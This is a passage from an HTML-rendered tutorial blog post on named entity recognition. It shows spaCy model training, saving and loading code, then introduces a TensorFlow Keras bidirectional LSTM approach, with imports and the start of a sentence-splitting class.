&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;other_pipes = [pipe &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; pipe &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;in&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; nlp.pipe_names &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; pipe &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;not&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;in&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; pipe_exceptions]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# only train NER&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;with&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; nlp.disable_pipes(*other_pipes), warnings.catch_warnings():&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk3&quot;&gt;# show warnings for misaligned entity spans once&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    warnings.filterwarnings(&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;once&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;category&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;UserWarning&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;module&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;spacy&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk3&quot;&gt;# reset and initialize the weights randomly – but only if we&amp;#x27;re&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk3&quot;&gt;# training a new model&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; model &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;is&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;None&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        nlp.begin_training()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; itn &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;in&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(n_iter):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        random.shuffle(TRAIN_DATA)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        losses = {}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;mtk3&quot;&gt;# batch up the examples using spaCy&amp;#x27;s minibatch&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        batches = minibatch(TRAIN_DATA, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;size&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=compounding(&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;4.0&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;32.0&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;1.001&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; batch &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;in&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; batches:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;            texts, annotations = &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;zip&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(*batch)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;            nlp.update(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;                texts,  &lt;/span&gt;&lt;span class=&quot;mtk3&quot;&gt;# batch of texts&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;                annotations,  &lt;/span&gt;&lt;span class=&quot;mtk3&quot;&gt;# batch of annotations&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;                &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;drop&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;0.5&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;,  &lt;/span&gt;&lt;span class=&quot;mtk3&quot;&gt;# dropout - make it harder to memorise data&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;                &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;losses&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=losses,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;            )&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;Losses&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, losses)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Source Code 5 - Model training&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Finally, to finish the training process, the model, in a very simple way, can be saved on disk, and in an equally simple way,
loaded to be used in real contexts, by specifying the path where the model was saved.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;python&quot; data-index=&quot;6&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# save model to output directory&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; output_dir &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;is&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;not&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;None&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    output_dir = Path(output_dir)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;not&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; output_dir.exists():&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        output_dir.mkdir()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    nlp.to_disk(output_dir)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;Saved model to&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, output_dir)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# test the saved model&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk11&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;Loading from&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, output_dir)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;nlp2 = spacy.load(output_dir)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; text, _ &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;in&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; TRAIN_DATA:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    doc = nlp2(text)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;Entities&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, [(ent.text, ent.label_) &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; ent &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;in&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; doc.ents])&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;Tokens&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, [(t.text, t.ent_type_, t.ent_iob) &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; t &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;in&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; doc])&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Source Code 6 - Saving and loading model&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;In this example the architecture of the model is not defined in any way, nor the vocabulary at the base of the model is managed, as well as
the process of archiving and saving the model. &lt;br/&gt;
It&amp;#x27;s all handled by Spacy, which defines all the Named Entity Recognition logic in the reference pipeline.
This also allows those who are less experienced to be able to undertake the training of a model for such a task.&lt;/p&gt;&lt;p&gt;In any case, by investigating in depth the implementation of the pipeline, we find that the architecture used is that of a &lt;a href=&quot;https://en.wikipedia.org/wiki/Residual_neural_network&quot;&gt;convolutive network
with residual connections&lt;/a&gt;. These are convolutional networks which, similarly to what happens in
pyramidal cells of our cerebral cortex, define residual connections with other parts of the neural network; for some NLP tasks these
networks prove to perform very effectively and outperform other Deep Learning algorithms.&lt;/p&gt;&lt;p&gt;For further information and more details there is excellent documentation on the Spacy website, both regarding the
&lt;a href=&quot;https://spacy.io/usage/training#ner&quot;&gt;training procedure&lt;/a&gt;, both regarding the &lt;a href=&quot;https://spacy.io/models#architecture&quot;&gt;architecture&lt;/a&gt; used. &lt;br/&gt;
The configuration used can in many cases immediately lead to excellent performance; it is always recommended to carry out
an optimization of the parameters in order to identify the best configuration. For advice on how to perform
this optimization visit &lt;a href=&quot;https://spacy.io/usage/training#tips&quot;&gt;https://spacy.io/usage/training#tips&lt;/a&gt;.&lt;/p&gt;&lt;h4 id=&quot;tensorflow&quot;&gt;Tensorflow&lt;/h4&gt;&lt;p&gt;&lt;a href=&quot;https://www.tensorflow.org/&quot;&gt;&lt;strong&gt;Tensorflow&lt;/strong&gt;&lt;/a&gt; is one of the most used Deep Learning libraries both for experimentation and in context
of production.
It defines a multitude of tools and techniques commonly used to make Machine Learning models based on very deep neural networks.
It is managed by Google and is completely open source.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/7cc2bb63a5caa1e1e5279a3dc06acc55/c1b63/tf.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:56.333333333333336%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;225\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20225\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M183%2059l-13%208-1%207v8l8-5%209-5%201%2020%201%2020%205%203%205%203V85l-1-34-14%208m18%2026v33l5-3%206-3v-9c0-11%200-11%205-8l4%202V85l-5-3c-3-3-4-3-4-6%200-5%200-5%209%201l8%204%201-7v-7l-14-8-14-8-1%2034M84%20142l-1%202c0%202%201%202%206%202h5v29h6v-29h5c5%200%205%200%205-2v-3H97l-13%201m140%2016v17h6v-14h7c6%200%206%200%206-2%200-3%200-3-6-3h-7v-10h8c7%200%207%200%207-2v-3h-21v17m25-16l-1%2017v16h6v-34h-2l-3%201m-137%209c-4%202-7%207-7%2012%200%2010%2012%2016%2020%2010%202-2%202-2%201-4h-4c-3%203-7%202-9-1-3-4-3-4%206-4h9l-1-5c-1-8-8-12-15-8m28-1l-3%201-2-1h-3v25h3c2%200%202%200%202-9%200-8%200-9%202-10%206-4%208-1%208%2010v9h6v-10c0-9-1-11-3-13-2-3-6-3-10-2m21%201c-8%204-6%2011%203%2013%206%202%208%203%206%206-2%202-7%201-8-1-2-3-6-3-6%200%200%207%2016%209%2019%203%203-5%200-9-8-12l-4-3c0-3%205-4%207-1%201%203%206%203%206%200%200-5-9-8-15-5m25%200c-6%203-9%2012-6%2018%206%2011%2021%208%2022-4%202-11-7-19-16-14m28%200h-2l-3-1h-3v25h6v-9c0-10%201-11%206-11%202%200%202-1%202-3-1-3-3-4-6-1m51%200c-9%205-9%2020%201%2024s19-7%2015-17c-3-7-10-11-16-7m19%202c4%2018%206%2021%208%2022%202%200%203%200%205-8l3-7a836%20836%200%20018%2015l3-4%203-12%203-9h-3a3565%203565%200%2000-7%2015l-3-8c-1-5-2-7-4-7s-3%201-4%207c-3%2010-3%2010-5%201-2-8-2-8-5-8s-3%200-2%203m-96%202c-2%202-4%208-3%2011%202%206%209%206%2011%201%203-7-3-16-8-12m79%200c-5%203-4%2014%202%2016%203%200%206-2%207-6%201-7-4-13-9-10\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/7cc2bb63a5caa1e1e5279a3dc06acc55/c85cb/tf.webp 300w,/static/7cc2bb63a5caa1e1e5279a3dc06acc55/e88ff/tf.webp 600w,/static/7cc2bb63a5caa1e1e5279a3dc06acc55/92f8c/tf.webp 1200w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/7cc2bb63a5caa1e1e5279a3dc06acc55/5a46d/tf.png 300w,/static/7cc2bb63a5caa1e1e5279a3dc06acc55/0a47e/tf.png 600w,/static/7cc2bb63a5caa1e1e5279a3dc06acc55/c1b63/tf.png 1200w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figure 8 - Tensorflow&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/7cc2bb63a5caa1e1e5279a3dc06acc55/c1b63/tf.png&quot; title=&quot;Figure 8 - Tensorflow&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 8 - Tensorflow&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;Tensorflow allows to realize any model based on Deep Learning, giving the possibility to design networks both through very advanced techniques
that allow the coding of the lower level aspects, both using predefined layers to create your own neural network
with the architecture that best suits your needs, configuring the different layers and training logic to your needs, looking for the best performance.&lt;/p&gt;&lt;p&gt;In Spacy we are in fact forced to use the architecture chosen by the developers, being able to act in some of its configuration parameters, but without
being able to define the training algorithm in detail. &lt;br/&gt;
The architecture provided by the Spacy tool in many cases can prove to be the best,
but it could also be that, due to a certain data source and the nature of the entities to be recognized,
there is a better algorithm than the convolutional networks chosen in Spacy.&lt;/p&gt;&lt;p&gt;With Tensorflow, as mentioned, any algorithm and model can be created, based on Deep Learning. So let&amp;#x27;s see how to define a model
for Named Entity Recognition using &lt;a href=&quot;https://www.tensorflow.org/api_docs/python/tf/keras&quot;&gt;&lt;strong&gt;Tensorflow Keras&lt;/strong&gt;&lt;/a&gt; and
&lt;a href=&quot;https://en.wikipedia.org/wiki/Bidirectional_recurrent_neural_networks&quot;&gt;bidirectional recurrent neural networks&lt;/a&gt; of type
[&lt;strong&gt;LSTM&lt;/strong&gt;] (&lt;a href=&quot;https://en.wikipedia.org/wiki/Long_short-term_memory&quot;&gt;https://en.wikipedia.org/wiki/Long_short-term_memory&lt;/a&gt;). &lt;br/&gt;
The recurrent neural networks are well suited where it is important to identify relationships between features for the task to be performed. And for this reason
they are widely used for NLP tasks, where relationships in the text are very important, such as entity recognition.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;python&quot; data-index=&quot;7&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# import&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; pandas &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;as&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; pd&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; numpy &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;as&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; np&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; pickle&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; tensorflow &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;as&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; tf&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;from&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; tensorflow.keras.preprocessing.sequence &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; pad_sequences&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;from&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; tensorflow.keras.utils &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; to_categorical&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;from&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; tensorflow.keras &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; Model, Input&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;from&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; tensorflow.keras.layers &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; LSTM, Embedding, Dense&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;from&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; tensorflow.keras.layers &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; TimeDistributed, SpatialDropout1D, Bidirectional&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;from&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; tensorflow.keras.callbacks &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; EarlyStopping&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;from&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; sklearn.model_selection &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; train_test_split&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Source Code 7 - Import of necessary libraries&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Having to define the logic at a lower level, data management must also be done in a different way, managing aspects that
in Spacy they are managed by the library itself. &lt;br/&gt;
The following snippet reads the training data, in BILUO format, into a pandas dataframe. The lists are then created without duplicates of the
token and tags present in the dataset. Finally, according to the logic defined by the &lt;strong&gt;SentenceGetter&lt;/strong&gt; class, the dataset is splitted
into different sentences, and vocabularies that map word and tag lists to numeric identifiers are created.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;python&quot; data-index=&quot;8&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# class to split dataset in sentences&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;SentenceGetter&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;object&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;def&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;__init__&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.n_sent = &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.data = data&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
